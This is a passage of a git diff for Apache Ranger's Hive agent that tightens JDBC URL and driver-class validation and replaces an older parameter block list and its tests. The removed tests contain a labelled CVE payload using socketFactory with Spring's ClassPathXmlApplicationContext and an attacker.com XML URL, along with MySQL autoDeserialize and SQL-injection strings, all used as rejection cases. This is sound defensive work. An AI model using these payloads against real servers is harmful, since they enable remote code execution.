+                    "jdbc:presto://localhost:8080",
+                    "hive2://localhost:10000"
+            }) {
+                HadoopException e = assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate(url, hivePrefixes));
+                assertTrue(e.getMessage().contains("jdbc.url must start 
with"), e.getMessage());
+            }
+        }
+
+        @Test
+        @DisplayName("Blocked parameters are still rejected when the scheme is 
allowed")
+        void blockedParameterWithAllowedScheme() {
+            assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate("jdbc:hive2://host:10000/db;socketFactory=com.example.X",
 hivePrefixes));
+        }
+
+        @Test
+        @DisplayName("Rejects a jdbc url that does not include a host")
+        void rejectsMissingHost() {
+            for (String url : new String[] {
+                    "jdbc:hive2://",
+                    "jdbc:hive2:///",
+                    "jdbc:hive2://;",
+                    "jdbc:hive2://?x=y",
+                    "jdbc:hive2://#var",
+                    "jdbc:hive2:///;initFile=/tmp/init.sql",
+                    "jdbc:hive2://:10000",
+                    "jdbc:hive2://:10000/default",
+                    "jdbc:hive2://:10000/;initFile=/tmp/init.sql",
+                    "jdbc:hive2://%3A10000/default",
+                    "jdbc:hive2://user:pass@:10000/db",
+                    
"jdbc:hive2://:2181,zk:2181/;serviceDiscoveryMode=zooKeeper"
+            }) {
+                HadoopException e = assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate(url, hivePrefixes));
+                assertTrue(e.getMessage().contains("jdbc.url must include a 
host"), e.getMessage());
+            }
+        }
+
+        @Test
+        @DisplayName("Rejects a port with an empty hostname for Trino and 
Presto")
+        void rejectsPortWithoutHostForOtherSchemes() {
+            HadoopException trino = assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate("jdbc:trino://:8080/catalog", 
Collections.singletonList("jdbc:trino://")));
+            assertTrue(trino.getMessage().contains("jdbc.url must include a 
host"), trino.getMessage());
+            HadoopException presto = assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate("jdbc:presto://:8080", 
Collections.singletonList("jdbc:presto://")));
+            assertTrue(presto.getMessage().contains("jdbc.url must include a 
host"), presto.getMessage());
+        }
+
+        @Test
+        @DisplayName("Rejects a Trino dnsResolver class name")
+        void rejectsDnsResolver() {
+            HadoopException e = assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate("jdbc:trino://h:8080?dnsResolver=com.example.Resolver",
 Collections.singletonList("jdbc:trino://")));
+            assertTrue(e.getMessage().contains("prohibited parameter"), 
e.getMessage());
+        }
+
+        @Test
+        @DisplayName("Null or empty prefix list rejects every URL")
+        void nullOrEmptyPrefixes() {
+            assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate("jdbc:hive2://host:10000", null));
+            assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate("jdbc:hive2://host:10000", Collections.emptyList()));
+            assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate("jdbc:hive2://host:10000", 
Collections.singletonList("")));
+        }
+
+        @Test
+        @DisplayName("Null URL is rejected")
+        void nullUrl() {
+            assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validate(null, hivePrefixes));
+        }
+    }
+
+    @Nested
+    @DisplayName("Driver class allow-list")
+    class DriverClassAllowList {
+        private final List<String> allowed = 
Arrays.asList("io.prestosql.jdbc.PrestoDriver", 
"com.facebook.presto.jdbc.PrestoDriver");
+
+        @Test
+        @DisplayName("Allowed driver class is accepted")
+        void allowedDriver() {
+            assertDoesNotThrow(() -> 
JdbcUrlValidator.validateDriverClassName("io.prestosql.jdbc.PrestoDriver", 
allowed));
+            assertDoesNotThrow(() -> 
JdbcUrlValidator.validateDriverClassName("com.facebook.presto.jdbc.PrestoDriver",
 allowed));
+        }
+
+        @Test
+        @DisplayName("Null driver class is accepted (no explicit 
registration)")
+        void nullDriver() {
+            assertDoesNotThrow(() -> 
JdbcUrlValidator.validateDriverClassName(null, allowed));
+        }
+
+        @Test
+        void rejectedDriver() {
+            for (String driverClassName : new String[] {
+                    "", "java.lang.Thread", "com.mysql.cj.jdbc.Driver", 
"org.postgresql.Driver",
+                    "IO.PRESTOSQL.JDBC.PRESTODRIVER", " 
io.prestosql.jdbc.PrestoDriver", "io.prestosql.jdbc.PrestoDriver "
+            }) {
+                HadoopException e = assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validateDriverClassName(driverClassName, allowed));
+                assertTrue(e.getMessage().contains("jdbc.driverClassName must 
be one of"), e.getMessage());
+            }
+        }
+
+        @Test
+        @DisplayName("Null or empty allow-list rejects every driver class")
+        void nullOrEmptyAllowList() {
+            assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validateDriverClassName("io.prestosql.jdbc.PrestoDriver", 
null));
+            assertThrows(HadoopException.class, () -> 
JdbcUrlValidator.validateDriverClassName("io.prestosql.jdbc.PrestoDriver", 
Collections.emptyList()));
+        }
+    }
+}
diff --git 
a/hive-agent/src/main/java/org/apache/ranger/services/hive/client/HiveClient.java
 
b/hive-agent/src/main/java/org/apache/ranger/services/hive/client/HiveClient.java
index f739fef92..6347c9733 100644
--- 
a/hive-agent/src/main/java/org/apache/ranger/services/hive/client/HiveClient.java
+++ 
b/hive-agent/src/main/java/org/apache/ranger/services/hive/client/HiveClient.java
@@ -28,6 +28,7 @@
 import org.apache.hadoop.hive.metastore.api.MetaException;
 import org.apache.ranger.plugin.client.BaseClient;
 import org.apache.ranger.plugin.client.HadoopException;
+import org.apache.ranger.plugin.client.JdbcUrlValidator;
 import org.apache.ranger.plugin.util.PasswordUtils;
 import org.apache.thrift.TException;
 import org.slf4j.Logger;
@@ -48,6 +49,7 @@
 import java.sql.SQLTimeoutException;
 import java.sql.Statement;
 import java.util.ArrayList;
+import java.util.Collections;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
@@ -60,6 +62,9 @@ public class HiveClient extends BaseClient implements 
Closeable {
             + "policies, but you would not be able to use autocomplete for "
             + "resource names. Check ranger_admin.log for more info.";
 
+    private static final List<String> ALLOWED_JDBC_URL_PREFIXES   = 
Collections.singletonList("jdbc:hive2://");
+    private static final List<String> ALLOWED_JDBC_DRIVER_CLASSES = 
Collections.singletonList("org.apache.hive.jdbc.HiveDriver");
+
     private Connection          con;
     private HiveMetaStoreClient hiveClient;
     private String              hiveSiteFilePath;
@@ -674,6 +679,15 @@ private void initConnection(String userName, String 
password) throws HadoopExcep
             String     driverClassName = 
prop.getProperty("jdbc.driverClassName");
             String     url             = prop.getProperty("jdbc.url");
 
+            if (url != null) {
+                url = url.trim();
+            }
+
+            JdbcUrlValidator.validate(url, ALLOWED_JDBC_URL_PREFIXES);
+            JdbcUrlValidator.validateDriverClassName(driverClassName, 
ALLOWED_JDBC_DRIVER_CLASSES);
+
+            // A null name skips registration. DriverManager then uses a 
driver that accepts
+            // jdbc:hive2://, which the prefix and host checks already 
constrained.
             if (driverClassName != null) {
                 try {
                     Driver driver = (Driver) 
Class.forName(driverClassName).newInstance();
diff --git 
a/hive-agent/src/main/java/org/apache/ranger/services/hive/client/JdbcUrlValidator.java
 
b/hive-agent/src/main/java/org/apache/ranger/services/hive/client/JdbcUrlValidator.java
deleted file mode 100644
index 754e30f0a..000000000
--- 
a/hive-agent/src/main/java/org/apache/ranger/services/hive/client/JdbcUrlValidator.java
+++ /dev/null
@@ -1,121 +0,0 @@
-/*
- * Licensed to the Apache Software Foundation (ASF) under one or more
- * contributor license agreements.  See the NOTICE file distributed with
- * this work for additional information regarding copyright ownership.
- * The ASF licenses this file to You under the Apache License, Version 2.0
- * (the "License"); you may not use this file except in compliance with
- * the License.  You may obtain a copy of the License at
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package org.apache.ranger.services.hive.client;
-
-import org.apache.ranger.plugin.client.HadoopException;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-
-import java.net.URLDecoder;
-import java.nio.charset.StandardCharsets;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.HashSet;
-import java.util.Set;
-
-public final class JdbcUrlValidator {
-    private static final Logger LOG = 
LoggerFactory.getLogger(JdbcUrlValidator.class);
-    private static final Set<String> BLOCKED_PARAMS = 
Collections.unmodifiableSet(
-            new HashSet<>(Arrays.asList(
-                    "socketfactory", "socketfactoryarg", "sslfactory", 
"sslfactoryarg",
-                    "sslhostnameverifier", "authenticationpluginclassname", 
"loggerclassname",
-                    "kerberosservername", "gssdelegatecred", 
"sslpasswordcallback")));
-    private static final String[] DANGEROUS_PATTERNS = {"socketfactory", 
"sslfactory", "autodeserialize"};
-
-    private JdbcUrlValidator() {
-    }
-
-    public static void validate(String jdbcUrl) throws HadoopException {
-        if (jdbcUrl == null || jdbcUrl.trim().isEmpty()) {
-            HadoopException e = new HadoopException("jdbc.url must not be null 
or empty");
-            e.generateResponseDataMap(false, "Validation failed", "jdbc.url is 
required",
-                    null, "jdbc.url");
-            throw e;
-        }
-        String trimmed = jdbcUrl.trim();
-        int queryStart = findQueryStart(trimmed);
-        if (queryStart != -1) {
-            String queryString = trimmed.substring(queryStart + 1);
-            validateQueryString(queryString, trimmed);
-        }
-        LOG.debug("jdbc.url passed validation: {}", sanitizeForLog(trimmed));
-    }
-
-    private static void validateQueryString(String queryString, String 
fullUrl) throws HadoopException {
-        String[] tokens = queryString.split("[&;?]");
-        for (String token : tokens) {
-            if (token.trim().isEmpty()) {
-                continue;
-            }
-            int eqIdx = token.indexOf('=');
-            String paramName = (eqIdx >= 0 ? token.substring(0, eqIdx) : 
token).trim();
-            String decodedParamName = paramName;
-            try {
-                // Jdk-8 specific fix .name().
-                decodedParamName = URLDecoder.decode(paramName, 
StandardCharsets.UTF_8.name());
-            } catch (Exception e) {
-                LOG.warn("Failed to decode parameter name: {}", paramName);
-            }
-
-            String normalized = 
decodedParamName.toLowerCase().trim().replaceAll("[._-]", "");
-            if (BLOCKED_PARAMS.contains(normalized)) {
-                logAndThrow("blocked parameter", normalized, paramName, 
fullUrl);
-            }
-            for (String danger : DANGEROUS_PATTERNS) {
-                if (normalized.contains(danger)) {
-                    logAndThrow("dangerous pattern '" + danger + "'", 
normalized, paramName, fullUrl);
-                }
-            }
-            if (normalized.contains("factory") && 
(normalized.contains("socket") || normalized.contains("ssl") ||
-                    normalized.contains("connection") || 
normalized.contains("auth") ||
-                    normalized.contains("driver") || 
normalized.contains("datasource"))) {
-                logAndThrow("potentially dangerous factory parameter", 
normalized, paramName, fullUrl);
-            }
-        }
-    }
-
-    static String sanitizeForLog(String url) {
-        if (url == null) {
-            return "<null>";
-        }
-        int idx = findQueryStart(url);
-        return idx >= 0 ? url.substring(0, idx) + "?<params_redacted>" : url;
-    }
-
-    private static int findQueryStart(String url) {
-        int qIdx = url.indexOf('?');
-        int sIdx = url.indexOf(';');
-        if (qIdx >= 0 && sIdx >= 0) {
-            return Math.min(qIdx, sIdx);
-        } else if (qIdx >= 0) {
-            return qIdx;
-        } else if (sIdx >= 0) {
-            return sIdx;
-        }
-        return -1;
-    }
-
-    private static void logAndThrow(String reason, String normalized, String 
originalParam, String fullUrl) {
-        LOG.warn("Rejected jdbc.url containing {} '{}' (param='{}'): {}", 
reason, normalized, originalParam, sanitizeForLog(fullUrl));
-        HadoopException e = new HadoopException("jdbc.url contains a 
prohibited parameter: '" + originalParam +
-                "'. This parameter is not permitted for security reasons.");
-        e.generateResponseDataMap(false, "Invalid jdbc.url parameter", 
"Parameter '" +
-                originalParam + "' is blocked", null, "jdbc.url");
-        throw e;
-    }
-}
diff --git 
a/hive-agent/src/test/java/org/apache/ranger/services/hive/client/JdbcUrlValidatorTest.java
 
b/hive-agent/src/test/java/org/apache/ranger/services/hive/client/JdbcUrlValidatorTest.java
deleted file mode 100644
index 9fae45476..000000000
--- 
a/hive-agent/src/test/java/org/apache/ranger/services/hive/client/JdbcUrlValidatorTest.java
+++ /dev/null
@@ -1,482 +0,0 @@
-/*
- * Licensed to the Apache Software Foundation (ASF) under one
- * or more contributor license agreements.  See the NOTICE file
- * distributed with this work for additional information
- * regarding copyright ownership.  The ASF licenses this file
- * to you under the Apache License, Version 2.0 (the
- * "License"); you may not use this file except in compliance
- * with the License.  You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing,
- * software distributed under the License is distributed on an
- * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
- * KIND, either express or implied.  See the License for the
- * specific language governing permissions and limitations
- * under the License.
- */
-
-package org.apache.ranger.services.hive.client;
-
-import org.apache.ranger.plugin.client.HadoopException;
-import org.junit.jupiter.api.Disabled;
-import org.junit.jupiter.api.Test;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertFalse;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.junit.jupiter.api.Assertions.fail;
-
-@Disabled("Blocked by pre-existing hive-agent/pom.xml conflict: 
log4j-over-slf4j "
-        + "(test-scope) clashes with slf4j-reload4j, causing 
NoClassDefFoundError "
-        + "on any test that triggers SLF4J logger init in this module. "
-        + "Not introduced by this PR — this issue will be  tracked separately. 
"
-        + "Verified manually against a local pom.xml with the conflicting 
dependency removed.")
-public class JdbcUrlValidatorTest {
-
-    @Test
-    public void simpleUrlWithoutParameters() {
-        JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default");
-    }
-
-    @Test
-    public void urlWithSafeParameters() {
-        
JdbcUrlValidator.validate("jdbc:hive2://host:10000/db?user=test&password=secret&ssl=true");
-    }
-
-    @Test
-    public void urlWithKerberosParameters() {
-        
JdbcUrlValidator.validate("jdbc:hive2://host:10000/default?principal=hive/host@REALM;auth=kerberos");
-    }
-
-    @Test
-    public void postgresqlUrlWithSafeParameters() {
-        
JdbcUrlValidator.validate("jdbc:postgresql://localhost:5432/db?user=test&ssl=true");
-    }
-
-    @Test
-    public void urlWithWhitespace() {
-        JdbcUrlValidator.validate("  jdbc:hive2://host:10000/db  ");
-    }
-
-    @Test
-    public void rejectsExactBlockedParameters() {
-        String[] blockedParams = {
-                "socketfactory", "socketfactoryarg", "sslfactory", 
"sslfactoryarg",
-                "sslhostnameverifier", "authenticationpluginclassname", 
"loggerclassname",
-                "kerberosservername", "gssdelegatecred", "sslpasswordcallback"
-        };
-        for (String blockedParam : blockedParams) {
-            String url = "jdbc:hive2://host:10000/db?" + blockedParam + 
"=malicious";
-            try {
-                JdbcUrlValidator.validate(url);
-                fail("Expected HadoopException for blocked parameter: " + 
blockedParam);
-            } catch (HadoopException exception) {
-                assertTrue(exception.getMessage().contains("prohibited 
parameter"));
-                assertTrue(exception.getMessage().contains(blockedParam));
-            }
-        }
-    }
-
-    @Test
-    public void rejectsOriginalCvePayload() {
-        String url = "jdbc:postgresql://127.0.0.1:5432/x" +
-                
"?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext"
 +
-                "&socketFactoryArg=http://attacker.com/evil.xml";;
-        try {
-            JdbcUrlValidator.validate(url);
-            fail("Expected HadoopException for original CVE payload");
-        } catch (HadoopException exception) {
-            assertTrue(exception.getMessage().contains("prohibited 
parameter"));
-        }
-    }
-
-    @Test
-    public void rejectsDangerousPatterns() {
-        String[] patterns = {"socketfactory", "sslfactory", "autodeserialize"};
-        for (String pattern : patterns) {
-            String url = "jdbc:hive2://host:10000/db?custom" + pattern + 
"=malicious";
-            try {
-                JdbcUrlValidator.validate(url);
-                fail("Expected HadoopException for dangerous pattern: " + 
pattern);
-            } catch (HadoopException exception) {
-                assertTrue(exception.getMessage().contains("prohibited 
parameter"));
-            }
-        }
-    }
-
-    @SuppressWarnings("PMD.JUnitUseExpected")
-    @Test
-    public void rejectsMysqlAutoDeserialize() {
-        String url = "jdbc:mysql://host:3306/db?customautodeserialize=true";
-        try {
-            JdbcUrlValidator.validate(url);
-            fail("Expected HadoopException for MySQL autoDeserialize");
-        } catch (HadoopException expected) {
-            // expected
-        }
-    }
-
-    @SuppressWarnings("PMD.JUnitUseExpected")
-    @Test
-    public void rejectsFactoryParameters() {
-        String[] factoryParams = {
-                "customsocketfactory", "mysslconnectionfactory", "authfactory",
-                "driverfactory", "datasourcefactory"
-        };
-        for (String factoryParam : factoryParams) {
-            String url = "jdbc:postgresql://host:5432/db?" + factoryParam + 
"=com.evil.Factory";
-            try {
-                JdbcUrlValidator.validate(url);
-                fail("Expected HadoopException for factory parameter: " + 
factoryParam);
-            } catch (HadoopException exception) {
-                assertTrue(exception.getMessage().contains("prohibited 
parameter"));
-            }
-        }
-    }
-
-    @Test
-    public void allowsNonDangerousFactory() {
-        
JdbcUrlValidator.validate("jdbc:hive2://host:10000/db?factory=simple&timeout=30");
-    }
-
-    @Test
-    public void rejectsUrlEncodedSocketFactory() {
-        String url = "jdbc:hive2://host:10000/db?socket%46actory=malicious";
-        try {
-            JdbcUrlValidator.validate(url);
-            fail("Expected HadoopException for URL-encoded socketFactory");
-        } catch (HadoopException exception) {
-            assertTrue(exception.getMessage().contains("prohibited 
parameter"));
-        }
-    }
-
-    @SuppressWarnings("PMD.JUnitUseExpected")
-    @Test
-    public void rejectsEncodedBypassAttempts() {
-        String[] encodedParams = {
-                "socket%46actory",      // %46 = 'F'
-                "socket%66actory",      // %66 = 'f'
-                "%73ocketfactory",      // %73 = 's'
-                "ssl%46actory",         // SSL factory with encoded F
-                "%73sl%46actory"        // Multiple encoded characters
-        };
-        for (String encodedParam : encodedParams) {
-            String url = "jdbc:postgresql://host:5432/db?" + encodedParam + 
"=malicious";
-            try {
-                JdbcUrlValidator.validate(url);
-                fail("Expected HadoopException for encoded parameter: " + 
encodedParam);
-            } catch (HadoopException expected) {
-                // expected
-            }
-        }
-    }
-
-    // Handles malformed URL encoding gracefully
-    @SuppressWarnings("PMD.JUnitUseExpected")
-    @Test
-    public void handlesMalformedEncoding() {
-        String url = "jdbc:hive2://host:10000/db?socket%ZZfactory=test";
-        try {
-            JdbcUrlValidator.validate(url);
-        } catch (HadoopException e) {
-            assertTrue(e.getMessage().contains("prohibited parameter"));
-        }
-    }
-
-    // Rejects parameters regardless of case
-    @SuppressWarnings("PMD.JUnitUseExpected")
-    @Test
-    public void rejectsParametersRegardlessOfCase() {
-        String[] paramNames = {
-                "SOCKETFACTORY", "SocketFactory", "socketFactory",
-                "SSLFACTORY", "SslFactory", "sslFactory"
-        };
-        for (String paramName : paramNames) {
-            String url = "jdbc:hive2://host:10000/db?" + paramName + 
"=malicious";
-            try {
-                JdbcUrlValidator.validate(url);
-                fail("Expected HadoopException for parameter: " + paramName);
-            } catch (HadoopException expected) {
-                // expected
-            }
-        }
-    }
-
-    // Handles mixed case with encoding
-    @SuppressWarnings("PMD.JUnitUseExpected")
-    @Test
-    public void handlesMixedCaseWithEncoding() {
-        String url = "jdbc:hive2://host:10000/db?Socket%46actory=malicious";
-        try {
-            JdbcUrlValidator.validate(url);
-            fail("Expected HadoopException for mixed case with encoding");
-        } catch (HadoopException expected) {
-            // expected
-        }
-    }
-
-    // Handles & separator
-    @SuppressWarnings("PMD.JUnitUseExpected")
-    @Test
-    public void handlesAmpersandSeparator() {
-        String url = 
"jdbc:hive2://host:10000/db?user=test&socketfactory=evil&ssl=true";
-        try {
-            JdbcUrlValidator.validate(url);
-            fail("Expected HadoopException for ampersand separator");
-        } catch (HadoopException expected) {
-            // expected
-        }
-    }
-
-    // Handles ; separator
-    @SuppressWarnings("PMD.JUnitUseExpected")
-    @Test
-    public void handlesSemicolonSeparator() {
-        String url = 
"jdbc:hive2://host:10000/db?user=test;socketfactory=evil;ssl=true";
-        try {
-            JdbcUrlValidator.validate(url);
-            fail("Expected HadoopException for semicolon separator");
-        } catch (HadoopException expected) {
-            // expected
-        }
-    }
-
-    // Handles mixed separators
-    @SuppressWarnings("PMD.JUnitUseExpected")
-    @Test
-    public void handlesMixedSeparators() {
-        String url = 
"jdbc:hive2://host:10000/db?user=test;ssl=true&socketfactory=evil";
-        try {
-            JdbcUrlValidator.validate(url);
-            fail("Expected HadoopException for mixed separators");
-        } catch (HadoopException expected) {
-            // expected
-        }
-    }
-
-    // Handles parameters without values
-    @SuppressWarnings("PMD.JUnitUseExpected")
-    @Test
-    public void handlesParametersWithoutValues() {
-        String url = "jdbc:hive2://host:10000/db?ssl&socketfactory&timeout=30";
-        try {
-            JdbcUrlValidator.validate(url);
-            fail("Expected HadoopException for parameters without values");
-        } catch (HadoopException expected) {
-            // expected
-        }
-    }
-
-    // Rejects parameters with separator character obfuscation
-    @SuppressWarnings("PMD.JUnitUseExpected")
-    @Test
-    public void rejectsObfuscatedParameters() {
-        String[] obfuscatedParams = {
-                "socket.factory", "socket-factory", "socket_factory",
-                "ssl.factory", "ssl-factory", "ssl_factory"
-        };
-        for (String obfuscatedParam : obfuscatedParams) {
-            String url = "jdbc:hive2://host:10000/db?" + obfuscatedParam + 
"=malicious";
-            try {
-                JdbcUrlValidator.validate(url);
-                fail("Expected HadoopException for obfuscated parameter: " + 
obfuscatedParam);
-            } catch (HadoopException expected) {
-                // expected
-            }
-        }
-    }
-
-    // Handles multiple obfuscation techniques
-    @SuppressWarnings("PMD.JUnitUseExpected")
-    @Test
-    public void handlesMultipleObfuscation() {
-        String url = "jdbc:hive2://host:10000/db?Socket-Factory_ARG=malicious";
-        try {
-            JdbcUrlValidator.validate(url);
-            fail("Expected HadoopException for multiple obfuscation 
techniques");
-        } catch (HadoopException expected) {
-            // expected
-        }
-    }
-
-    // Rejects null URL
-    @SuppressWarnings("PMD.JUnitUseExpected")
-    @Test
-    public void rejectsNullUrl() {
-        try {
-            JdbcUrlValidator.validate(null);
-            fail("Expected HadoopException for null URL");
-        } catch (HadoopException exception) {
-            assertTrue(exception.getMessage().contains("must not be null or 
empty"));
-        }
-    }
-
-    // Rejects empty URL
-    @Test
-    public void rejectsEmptyUrl() {
-        try {
-            JdbcUrlValidator.validate("");
-            fail("Expected HadoopException for empty URL");
-        } catch (HadoopException exception) {
-            assertTrue(exception.getMessage().contains("must not be null or 
empty"));
-        }
-    }
-
-    // Rejects whitespace-only URL
-    @Test
-    public void rejectsWhitespaceOnlyUrl() {
-        try {
-            JdbcUrlValidator.validate("   ");
-            fail("Expected HadoopException for whitespace-only URL");
-        } catch (HadoopException exception) {
-            assertTrue(exception.getMessage().contains("must not be null or 
empty"));
-        }
-    }
-
-    // Handles URL without query parameters
-    @Test
-    public void handlesUrlWithoutQueryParameters() {
-        JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default");
-    }
-
-    // Handles URL with empty query string
-    @Test
-    public void handlesUrlWithEmptyQueryString() {
-        JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default?");
-    }
-
-    // Handles URL with only separators in query
-    @Test
-    public void handlesUrlWithOnlySeparators() {
-        JdbcUrlValidator.validate("jdbc:hive2://localhost:10000/default?&;&;");
-    }
-
-    @Test
-    public void sanitizesUrlForLogging() {
-        String url = "jdbc:hive2://host:10000/db?password=secret&user=test";
-        String sanitized = JdbcUrlValidator.sanitizeForLog(url);
-        assertFalse(sanitized.contains("secret"));
-        assertTrue(sanitized.contains("<params_redacted>"));
-        assertTrue(sanitized.contains("jdbc:hive2://host:10000/db"));
-    }
-
-    // Handles null URL in sanitization
-    @Test
-    public void handlesNullUrlInSanitization() {
-        String result = JdbcUrlValidator.sanitizeForLog(null);
-        assertEquals("<null>", result);
-    }
-
-    // Handles URL without parameters in sanitization
-    @Test
-    public void handlesUrlWithoutParamsInSanitization() {
-        String url = "jdbc:hive2://host:10000/db";
-        String result = JdbcUrlValidator.sanitizeForLog(url);
-        assertEquals(url, result);
-    }
-
-    @Test
-    public void testSanitizeForLogWithSemicolonParams() {
-        String url = "jdbc:hive2://server:10000/db;user=admin;password=secret";
-        String result = JdbcUrlValidator.sanitizeForLog(url);
-        assertEquals("jdbc:hive2://server:10000/db?<params_redacted>", result);
-    }
-
-    @Test
-    public void testSanitizeForLogWithQuestionMarkParams() {
-        String url = "jdbc:hive2://server:10000/db?user=admin&password=secret";
-        String result = JdbcUrlValidator.sanitizeForLog(url);
-        assertEquals("jdbc:hive2://server:10000/db?<params_redacted>", result);
-    }
-
-    @Test
-    public void testSanitizeForLogWithMixedSeparators() {
-        String url = 
"jdbc:hive2://server:10000/db;ssl=true?socketFactory=evil";
-        String result = JdbcUrlValidator.sanitizeForLog(url);
-        assertEquals("jdbc:hive2://server:10000/db?<params_redacted>", result);
-    }
-
-    @Test
-    public void blocksSemicolonBeforeQuestion() {
-        String url = "jdbc:hive2://host:10000/db;socketFactory=evil?user=test";
-        try {
-            JdbcUrlValidator.validate(url);
-            fail("Expected HadoopException for semicolon-before-question 
delimiters");
-        } catch (HadoopException ex) {
-            assertTrue(ex.getMessage().contains("socketFactory"));
-        }
-    }
-
-    @Test
-    public void blocksQuestionBeforeSemicolon() {
-        String url = "jdbc:hive2://host:10000/db?socketFactory=evil;user=test";
-        try {
-            JdbcUrlValidator.validate(url);
-            fail("Expected HadoopException for question-before-semicolon 
delimiters");
-        } catch (HadoopException ex) {
-            assertTrue(ex.getMessage().contains("socketFactory"));
-        }
-    }
-
-    // Handles semicolon-only Hive URLs
-    @Test
-    public void handlesSemicolonOnly() {
-        String url = "jdbc:hive2://host:10000/db;socketFactory=evil";
-        try {
-            JdbcUrlValidator.validate(url);
-            fail("Expected HadoopException for semicolon-only URL");
-        } catch (HadoopException ex) {
-            assertTrue(ex.getMessage().contains("socketFactory"));
-        }
-    }
-
-    // Handles question-only URLs
-    @Test
-    public void handlesQuestionOnly() {
-        String url = "jdbc:hive2://host:10000/db?socketFactory=evil";
-        try {
-            JdbcUrlValidator.validate(url);
-            fail("Expected HadoopException for question-only URL");
-        } catch (HadoopException ex) {
-            assertTrue(ex.getMessage().contains("socketFactory"));
-        }
-    }
-
-    @SuppressWarnings("PMD.JUnitUseExpected")
-    @Test
-    public void complexMaliciousUrl() {
-        String url = "jdbc:postgresql://evil.com:5432/db" +
-                "?user=admin&password=secret" +
-                
"&socket%46actory=org.springframework.context.support.ClassPathXmlApplicationContext"
 +
-                "&socketFactoryArg=http://attacker.com/evil.xml"; +
-                "&SSL-Factory=com.evil.SSLFactory" +
-                "&custom_autodeserialize=true";
-        try {
-            JdbcUrlValidator.validate(url);
-            fail("Expected HadoopException for complex malicious URL");
-        } catch (HadoopException expected) {
-            // expected
-        }
-    }
-
-    @Test
-    public void realWorldHiveUrl() {
-        String url = "jdbc:hive2://hive-server:10000/warehouse" +
-                "?principal=hive/[email protected]" +
-                ";auth=kerberos" +
-                ";ssl=true" +
-                ";sslTrustStore=/etc/hive/truststore.jks" +
-                ";transportMode=http" +
-                ";httpPath=cliservice";
-        JdbcUrlValidator.validate(url);
-    }
-
-    @Test
-    public void postgresqlSafeUrl() {
-        String url = "jdbc:postgresql://pg-server:5432/mydb" +
-                "?user=admin&password=secret&ssl=true&sslmode=require";
-        JdbcUrlValidator.validate(url);
-    }
-}
\ No newline at end of file
diff --git 
a/hive-agent/src/test/java/org/apache/ranger/services/hive/client/TestHiveClient.java
 
b/hive-agent/src/test/java/org/apache/ranger/services/hive/client/TestHiveClient.java
index 69bc3e33d..f8ae7a3c5 100644
--- 
a/hive-agent/src/test/java/org/apache/ranger/services/hive/client/TestHiveClient.java
+++ 
b/hive-agent/src/test/java/org/apache/ranger/services/hive/client/TestHiveClient.java
@@ -43,6 +43,7 @@
 import java.sql.Connection;
 import java.sql.DatabaseMetaData;
 import java.sql.Driver;
+import java.sql.DriverManager;
 import java.sql.DriverPropertyInfo;
 import java.sql.ResultSet;
 import java.sql.SQLFeatureNotSupportedException;
@@ -53,10 +54,12 @@
 import java.util.List;
 import java.util.Map;
 import java.util.Properties;
+import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.logging.Logger;
 
 import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
 import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
 import static org.junit.jupiter.api.Assertions.assertNotEquals;
 import static org.junit.jupiter.api.Assertions.assertNotNull;
 import static org.junit.jupiter.api.Assertions.assertNull;
@@ -71,6 +74,9 @@
 @ExtendWith(MockitoExtension.class)
 @TestMethodOrder(MethodOrderer.MethodName.class)
 public class TestHiveClient {
+    private static final AtomicBoolean TRACKED_CLASS_INITIALIZED = new 
AtomicBoolean(false);
+    private static final String        TRACKED_CLASS_NAME        = 
TestHiveClient.class.getName() + "$TrackedClass";
+
     @Test
     public void test01_connectionTestEmptyDbListSetsFailureMessage() throws 
Exception {
         try (MockedConstruction<HiveClient> cons = 
Mockito.mockConstruction(HiveClient.class, (mock, ctx) -> {
@@ -611,6 +617,68 @@ public void 
test31_getColumnList_rejectsInjectionInTableName() throws Exception
         assertThrows(HadoopException.class, () -> 
client.getColumnList("valid", Collections.singletonList("db1"), 
Collections.singletonList("test'; DROP TABLE users; --"), null), "Should reject 
SQL injection in table name");
     }
 
+    @Test
+    public void test32_initConnection_rejectsNonHiveUrlScheme() throws 
Exception {
+        assertJdbcConfigRejected("org.apache.hive.jdbc.HiveDriver", 
"jdbc:mysql://address=(host=localhost)(port=3306)(autoDeserialize=true)/db", 
"jdbc.url must start with");
+        assertJdbcConfigRejected("org.apache.hive.jdbc.HiveDriver", 
"jdbc:postgresql://localhost:5432/db", "jdbc.url must start with");
+        assertJdbcConfigRejected("org.apache.hive.jdbc.HiveDriver", 
"JDBC:HIVE2://localhost:10000", "jdbc.url must start with");
+    }
+
+    @Test
+    public void test33_initConnection_rejectsDriverClassNotInAllowList() 
throws Exception {
+        assertJdbcConfigRejected(TRACKED_CLASS_NAME, 
